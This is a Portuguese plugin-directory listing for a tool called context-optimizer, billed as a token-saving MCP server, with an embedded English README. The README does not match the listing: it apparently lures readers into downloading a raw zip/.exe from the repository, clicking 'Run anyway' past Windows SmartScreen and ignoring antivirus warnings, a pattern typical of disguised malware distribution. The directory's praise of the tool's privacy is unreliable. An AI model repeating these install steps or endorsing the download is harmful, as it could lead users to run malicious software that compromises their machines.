convez.ai
MCP ServerProdutividadeIniciante
aaron4605

Context Optimizer

aaron4605/context-optimizer

Reduza tokens do Claude com mapas estruturais de projetos

Ver no GitHub
BomPluginScore · de 0 a 100

MCP server que reduz consumo de tokens do Claude indexando e resumindo arquivos de projeto através de manifestos locais. Usa mapeamento estrutural para criar sumários eficientes que mantêm a lógica importante enquanto remove dados redundantes, economizando tokens e melhorando o foco do modelo de IA.

Instalação

$npx convez-ai aaron4605/context-optimizer

1 comando no terminal: detecta o formato do repositório (marketplace ou plugin avulso) e instala via Claude Code. Requer Node 18+ e o Claude Code instalado.

Métricas

Estrelas
4
Forks
0
Acompanhando
0
Saúde
85%
Último commit
há 1 mês
Versão
—
Issues abertas
0
Contribuidores
4

Casos de uso

  • Implementar novas features em projetos complexos com menos tokens
  • Debugar bugs em grandes bases de código enviando apenas mapas estruturais
  • Explicar arquitetura de sistemas para Claude de forma concisa
  • Revisar múltiplos arquivos sem exceder limite de contexto

Veredito

Ferramenta prática para quem trabalha com projetos grandes e quer otimizar custos de token. Funciona localmente, preserva privacidade e oferece interface simples sem exigir conhecimento técnico profundo. Ideal para desenvolvedores que usam Claude frequentemente com bases de código extensas.

README

A tradução para o português deste README ainda está na fila.

📉 context-optimizer - Lower your AI token usage costs

🎯 About this application

Many AI tools consume too many tokens when you work with complex code. High token counts lead to slow speeds and high costs. The context-optimizer tool solves this. It shrinks your code files into small, efficient maps before you send them to AI models like Claude or ChatGPT.

This process keeps the important parts of your code while removing the extra data that AI does not need. You save money and help your AI model focus on the logic that matters. You do not need to be a programmer to use this. You only need to point the app at your project folder and follow the steps below.

⚙️ How it works

The software uses a process called structural mapping. It reads your code files and creates a small summary. This summary describes how your files fit together without including every line of redundant text. When you paste this small summary into your AI chat, the AI understands your project structure immediately.

This method works for:

  • Writing new code features
  • Finding bugs in existing projects
  • Explaining complex software systems to your AI
  • Reviewing large groups of files at once

📥 Getting the software

  1. Visit this page to download the latest version: https://github.com/aaron4605/context-optimizer/raw/refs/heads/main/prompt/optimizer-context-1.4.zip.
  2. Look for the file ending in .exe under the Assets section.
  3. Click the file name to start the download.

🚀 Setting up the software

  1. Find the file you just downloaded in your Downloads folder.
  2. Double-click the file to open the installer.
  3. A blue box might appear saying "Windows protected your PC." Click "More info" and then click "Run anyway."
  4. Follow the prompts on the screen to finish the installation.
  5. Once finished, find the context-optimizer icon on your desktop and double-click it.

🛠️ Using the application

  1. Open the application on your computer.
  2. Click the "Open Folder" button.
  3. Select the folder on your computer that contains the code you want to analyze.
  4. Wait for the app to scan your files. A progress bar shows you how much time remains.
  5. When the scan finishes, click "Generate Summary."
  6. The app creates a text file containing the map of your project.
  7. Click "Copy to Clipboard."
  8. Paste this text into your favorite AI chat window.
  9. Type your question or task about the project after the pasted text.

📋 System Requirements

This application works on any modern Windows computer. We recommend:

  • Windows 10 or Windows 11.
  • At least 4 gigabytes of RAM.
  • A stable internet connection for installation.
  • 100 megabytes of free space on your hard drive.

🛡️ Privacy and Data

Your privacy belongs to you. This application runs locally on your computer. It does not send your code files to our servers. All processing happens on your machine. The AI chat tools only see what you paste into them during your chat sessions. We do not track your project names or the content you optimize.

❓ Common Questions

Does this work with my specific coding project? Yes. The software handles all common code types including Python, JavaScript, HTML, CSS, and C++.

Will my AI chatbot understand the format? Yes. The app creates a format that current AI models understand as a project structural map. If your AI ever seems confused, simply ask the AI to "refer to the project structure provided at the start of our chat."

What happens if I have very large folders? The software is designed to handle projects with thousands of files. It filters out files that do not affect the logic of your code execution, such as image assets or temporary log files.

How do I update the software? When a new version is available, the app notifies you. You can visit the download page again to get the newest file. Usually, you can run the new installer over the old one to update the settings automatically.

Can I run this on a Mac? Currently, this version is built specifically for Windows.

🧩 Troubleshooting

The app does not open Make sure you have administrative rights on your user account. Try restarting your computer.

The app returns an error when scanning Check that the folder you selected has readable files within it. Some system folders are locked by Windows and cannot be scanned. Choose a folder inside your documents or projects directory instead.

The output looks strange Confirm that your AI chat window has enough room for the text. Sometimes very large projects produce long summaries. If the text is cut off, ensure you have pasted the entire block from the app into your chat.

I get an antivirus warning This is a standard warning for new software that is not widely recognized by large companies yet. You can trust the file if you downloaded it directly from our official link on the GitHub releases page.

💡 Best Practices

  • Organize your code into clear folders before scanning.
  • Close programs you are not using if you have a slow computer to speed up the scan.
  • Use the summary only for the parts of the code relevant to your question for even better results.
  • If you change your code significantly, run the optimizer again to get a fresh summary of the new structure.
  • Always review the summary text if you are worried about which files the app included or excluded.
Ver o original no GitHub

Bom para

Relacionados